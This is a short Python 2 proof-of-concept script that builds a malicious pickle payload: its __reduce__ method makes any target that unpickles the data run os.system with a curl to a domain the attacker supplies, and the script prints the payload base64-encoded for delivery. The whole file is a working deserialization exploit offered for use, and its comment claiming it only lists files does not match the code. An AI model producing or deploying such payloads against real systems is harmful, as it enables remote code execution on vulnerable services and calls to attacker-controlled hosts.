#!/usr/bin/python
#

import os
import cPickle
import socket
import pickle
import base64
import sys

# Exploit that we want the target to unpickle
class Exploit(object):
	def __init__(self, domain):
		self.domain = domain
	def __reduce__(self):
		# Note: this will only list files in your directory.
		# It is a proof of concept.
		return (os.system, ('curl '+self.domain,))

def serialize_exploit(domain):
	shellcode = cPickle.dumps(Exploit(domain))
	return shellcode

def insecure_deserialize(exploit_code):
	cPickle.loads(exploit_code)

if __name__ == '__main__':
	print base64.b64encode(serialize_exploit(sys.argv[1]));
